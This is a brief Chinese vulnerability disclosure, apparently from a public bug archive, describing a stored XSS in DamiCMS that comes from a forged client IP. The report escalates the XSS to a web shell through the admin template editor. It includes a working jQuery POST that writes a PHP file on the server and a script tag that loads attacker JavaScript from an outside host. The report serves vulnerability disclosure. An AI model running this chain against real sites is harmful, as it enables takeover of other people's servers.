damicms存储xss导致getshell

### 简要描述： damicms存储xss导致getshell ### 详细说明： 1)Xss Damicms使用了万恶的 get_client_ip() 直接伪造ip，而且ip的字段是varchar(50) 够我xss了 [<img src="https://images.seebug.org/upload/201410/301755568875eded91749b844145a30d2cfe9a0c.png" alt="6.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/301755568875eded91749b844145a30d2cfe9a0c.png) 然后: [<img src="https://images.seebug.org/upload/201410/30175652bd2d5e28a5f1a3da7fa2c5a4f2cb3d80.png" alt="5.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/30175652bd2d5e28a5f1a3da7fa2c5a4f2cb3d80.png) Ok 2)xss导致getshell 由于后台 可以直接编辑文件，生成php马 那我们就用js来直接getshell Js如下: $.ajax({ "url": "http://192.168.153.132/dami/admin.php?s=/Tpl/Update", "type": "POST", "data": "filename=./Web/Tpl/w3g/list/4.php&content=<?php phpinfo();?>" }) 2.Payload: <script src=//xxxxxx/1.js></script> [<img src="https://images.seebug.org/upload/201410/3017584487d30fc48fc68887aef0bf684b3c2cb4.png" alt="图片1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/3017584487d30fc48fc68887aef0bf684b3c2cb4.png) 然后模拟管理员上线... ok 成功getshell [<img src="https://images.seebug.org/upload/201410/30175927f5278306ad59200d22c88b2037a5a5e4.png" alt="图片2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/30175927f5278306ad59200d22c88b2037a5a5e4.png) ### 漏洞证明： 见前面